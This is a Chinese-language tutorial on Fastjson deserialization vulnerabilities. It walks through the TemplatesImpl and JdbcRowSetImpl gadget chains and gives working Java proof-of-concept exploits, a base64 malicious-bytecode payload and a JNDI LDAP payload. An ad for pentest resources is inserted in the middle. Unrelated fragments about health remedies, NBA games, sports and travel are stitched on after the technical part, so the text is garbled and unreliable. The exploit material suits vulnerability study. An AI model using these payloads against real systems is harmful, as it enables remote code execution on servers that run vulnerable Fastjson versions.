网络安全之反序列化漏洞分析
简介
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过 toJSONString 和parseObject/parse 来实现序列化和反序列化。使用
对于序列化的方法 toJSONString() 有多个重载形式。
SerializeFeature : 通过设置多个特性到FastjsonConfig 中全局使用, 也可以在使用具体方法中指定特性SerializeFilter : 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化SerializeConfig : 添加特点类型自定义的序列化配置
对于反序列化的方法 parseObject() 也同样有多个重载形式。
【一一帮助安全学习,所有资源关注我,私信回复"资料"获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析 序列化操作
可以发现这两个的区别,如果使用了toJSONString()的属性值 SerializerFeature.WriteClassName ,就会在序列化的时候多写入一个@type 后面跟着的是反序列化的类名。反序列化操作package pers.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class UnSerialTest { public static void main(String[] args) { String jsonStringWithType = "{"@type":"pers.fastjson.Student","name":"RoboTerh"}"; String jsonStringWithoutType = "{"name":"RoboTerh"}"; System.out.println("use JSON.parse with type......"); Object o1 = JSON.parse(jsonStringWithType); System.out.println(o1); System.out.println("------------------------------------"); System.out.println("use JSON.parse without type...."); Object o2 = JSON.parse(jsonStringWithoutType); System.out.println(o2); System.out.println("-------------------------------------"); System.out.println("use JSON.parseObject with type......."); JSONObject o3 = JSON.parseObject(jsonStringWithType); System.out.println(o3); System.out.println("--------------------------------------"); System.out.println("use JSON.parseObject without type........."); JSONObject o4 = JSON.parseObject(jsonStringWithoutType); System.out.println(o4); System.out.println("----------------------------------------"); System.out.println("use JSON.parseObject without type but hava .Class"); Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class); System.out.println(o5); } }
可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。
我们可以发现,在引入了 @type 之后,JSON.parseObject 调用了getter/setter 方法,JSON.parse 调用了setter 方法。
当然,其他的方式也是可以调用 getter 方法的,但是有条件限制:
条件一、方法名需要长于4
条件二、不是静态方法
条件三、以get字符串开头,且第四个字符需要是大写字母
条件四、方法不能有参数传
条件五、继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
因为 fastjson 存在autoType 机制, 当用户指定@type 时, 存在调用恶意setter /getter 的情况, 这就是fastjson 反序列化漏洞。简单的漏洞//Evil.java package pers.fastjson; import java.io.IOException; public class Evil { private String name; public Evil () { System.out.println("构造方法"); } public void setName(String name) throws IOException { this.name = name; System.out.println("调用了setName方法"); Runtime.getRuntime().exec("calc"); } public String getName() { System.out.println("调用了getName方法"); return name; } } //EvilTest.java package pers.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class EvilTest { public static void main(String[] args) { String jsonString = "{"@type":"pers.fastjson.Evil","name":"RoboTerh"}"; JSONObject o = JSON.parseObject(jsonString); System.out.println(o); } }
成功弹出了计算器,
我们调式分析分析,
在 JSON.parseObject 处下的断点。
首先使用了parse()方法进行反序列化操作。
在 JSON.parse(String text, int features) 创建了DefaultJSONParser 对象。
在成功创建了该对象之后通过判断 ch 是{ / [ 为token赋值,这里是12。
在 DefaultJSONParser#parse 方法中通过判断token的值,进入创建了一个JSONObject 对象。
进 parseObject 方法, 这里会通过scanSymbol 获取到@type 指定类, 然后通过TypeUtils.loadClass 方法加载Class .
先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到 clazz 的之后进行返回
创建了 ObjectDeserializer 并且调用了getDeserializer 方法。Templateslmpl利用链
如果一个类中的 getter 满足调用条件而且存在可利用点,攻击链就产生了。
在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类中就存在一个私有变量_outputProperties ,他的getter 方法就满足在反序列化的时候的调用条件。分析利用链,
从漏洞触发点开始 Templateslmpl#getTransletInstance 方法。
这里通过调用 _class[_transletIndex] 的newInstance() 方法进行实例化操作,我们追踪_class[_transletIndex] 的出处,看看是否可以控制,进行恶意操作。
值得注意的是,我们想要达到漏洞点,在 getTransletInstance() 方法的两个if语句中,我们需要保证他的_name 这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。
在第二个语句中就是通过 defineTransletClasses() 方法获得了_class 和_transletIndex 的值,进入它。
首先判断 _bytecodes 是否为空,这里的_bytecodes 同样是Templateslmpl 类的成员变量,可控
如果这里不为空的话,就会执行。
而且这里如果 _tfactory 不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl 类的成员变量,但是他没有对应的setter ,我们可以通过Feature.SupportNonPublicField 来进行修改。
接着走,在后面有一个for循环,
通过 loader.defineClass 修饰之后将_bytecodes[i] 赋值给_class[i] ,跟进defineClass方法。
他是 ClassLoader 的defineClass 的重写,作用是将字节码转化为Class,
转回 defineTransletClasses ,在if判断语句中,如果它是main class的时候我们就为_transletIndex 赋值。
现在重新回到 getTranslateInstance() 方法,现在这里的_class[_translateIndex] 就是我们为_bytecodes 赋值的恶意class,我们这里将他给实例化了,成功利用恶意类,
现在我们可以知道 getTranslateInstance() 是可以执行恶意类的,我们搜索在Templateslmpl 类中什么调用了这个方法的。
可以发现在 newTransformer() 方法中使用了getTransletInstance()方法。
继续搜索在哪里调用了newTransformer()方法。
在 getOutputProperties() 方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。//利用链 getOutputProperties() newTransformer() getTransletInstance() defineTransletClasses() _class[_transletIndex].newInstance() POCpackage pers.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.codec.binary.Base64; import java.io.IOException; public class Fj24POC { public static class RoboTerh { } public static String makeClasses() throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(RoboTerh.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec("calc");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "RoboTerh" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte[] evilCodes = cc.toBytecode(); return Base64.encodeBase64String(evilCodes); } public static String exploitString() throws NotFoundException, CannotCompileException, IOException { String evilCodeBase64 = makeClasses(); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String exploit = "{"RoboTerh":{" + ""@type":"" + NASTY_CLASS + ""," + ""_bytecodes":["" + evilCodeBase64 + ""]," + ""_name":"RoboTerh"," + ""_tfactory":{ }," + ""_outputProperties":{ }" + "}} "; return exploit; } public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { String exploit = exploitString(); System.out.println(exploit); //JSON.parse(exploit, Feature.SupportNonPublicField); //JSON.parseObject(exploit, Feature.SupportNonPublicField); JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField); } }
//payload {"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],"_name":"RoboTerh","_tfactory":{ },"_outputProperties":{ }}}
条件限制
需要开启 Feature.SupportNonPublicField 这个特性。JdbcRowSetImpl利用链分析利用链
JdbcRowSetImpl 类位于com.sun.rowset.JdbcRowSetImpl 中,它本身没有实现Serializeble 接口,但是他是BaseRowSet 类的子类,该类实现了该接口,所以它可以进行序列化。
链子的核心触发点是 javax.naming.InitialContext#lookup 的参数可控造成的漏洞。
在 JdbcRowSetImpl#setAutoCommit 中如果this.conn 为空的时候,就会调用this.connect 方法。
然后在connect方法中就会调用 Javax.naming.InitialContext#lookup 方法,参数是dataSourceName 成员变量。
//调用链 JdbcRowSetImpl对象 getDataSource setAutocommit方法 context.lookup(datasourcename) POCpackage pers.fastjson; import com.alibaba.fastjson.JSON; public class Fj24_Jdbc_POC { public static void main(String[] args) { String payload = "{" + ""@type":"com.sun.rowset.JdbcRowSetImpl"," + ""dataSourceName":"ldap://127.0.0.1:8888/EvilObject"," + ""autoCommit":"true"," + "}"; //JSON.parseObject(payload); 成功 //JSON.parse(payload); 成功 JSON.parseObject(payload, Object.class); } }
//payload {"RoboTerh":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:8888/evilObject", "autoCommit":true }} 条件限制,
使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。
早晨吃一个水煮鸡蛋,一段时间后会发生什么?建议肝不好来看看鸡蛋应该是大家在现实生活中吃得最多的一种蛋类,价格相比较其他的蛋类比较便宜,而且营养价值也非常高,所以受到大多数人的喜爱。不管是上班族还是学生,或者是老年人,在早上都喜欢吃上一个水
慢性咳喘总不好,可能还是治疗方法出了问题吧一提到咳嗽,喘,嗓子疼,您会想到什么?您是否会想到消炎药或者是激素呢?也有的朋友可能会说,中医之本啊!可能开点中药,然后大夫开上几天清热化痰的药。对嘛,嗓子疼嘛,有痰嘛,有炎症啊,
气滞血瘀老不好?试试血府逐瘀汤刘女士49岁,每到冬天时,总会有手脚冰凉的情况,检查发现是气血瘀滞的原因,医生让用血府逐瘀汤来进行调理。这个血府逐瘀汤有什么作用呢?我们先来了解一下气滞血瘀的表现有哪些?气滞血瘀的
NBA总决赛G3凯尔特人VS勇士NBA总决赛G3的比赛将在6月9日早上9点进行。由凯尔特人主场对阵勇士。之前的两场比赛,双方11打成平局。凯尔特人一路磕磕绊绊闯入总决赛,虽然在第一场比赛以12分的优势取得胜利,但
2022年NBA总决赛勇士VS绿军G3前瞻2022年总决赛赛程北京时间6月9日上午9点,2022年NBA总决赛第三场比赛G3将移师波土顿,凯尔特人回到自家主场迎战勇士,此前双方大比分战成11。此前两场比赛都是勇士主场,双方
祝贺!18岁国乒小将勇夺一冠,日本张本智和接班人没进8强北京时间6月9日凌晨,乒乓球WTT捷克青少年赛结束了所有男单项目的对决,而阔别赛场2个多月的中国队也终于收获了自己回归后的首个冠军在U19(19岁及以下组)的比赛中,18岁小将曾蓓
女排蔡斌收获喜讯,两小将入选最佳阵容,世联赛争冠并非空谈2022年世界女排联赛,刚刚结束了第一站比赛的争夺,中国女排出人意料的以3胜1负的战绩,暂列所有参赛球队中的第二位,第二站的比赛,将从6月15日开始在菲律宾开打,对于中国女排而言,
总决赛G2数据表明,凯尔特人在第三节放弃了本场比赛本文数据来源标注在图表标题下方,图表和内容均为安安小小姐姐原创,并开启全网保护,转载引用请联系作者。NBA202122赛季总决赛第二场,如部分网友所说,裁判起了关键作用。在上一篇关
伟大的20!越南足球再创历史,全队疯狂庆祝,期盼复制18年神迹U23亚洲杯C组的最后一轮比赛不久前落下了帷幕,越南队此番再度创造了历史,他们以20战胜了马来西亚队,从而以1分的优势力压泰国队,顺利挺进了8强。越南媒体也希望他们的球队能够再接再
这2条线路,夏天去正好全长约186公里的环太湖1号公路沿线山水风景绝佳文物古迹众多,自然资源丰富是太湖旅游的颜值担当今天就跟随这2条水韵溯源古道文化线路一起打卡环太湖1号公路!01hr第一站来到位于西山
夏天到了,癌症患者要注意这五件事夏天到了,气温升高,气候环境发生剧烈变化。此时,保健对癌症患者尤为重要,那么夏季保健有哪些注意事项呢?1。早睡早起俗话说,春困秋乏夏打盹。按照中医的传统观点,人体在夏季消耗大量的气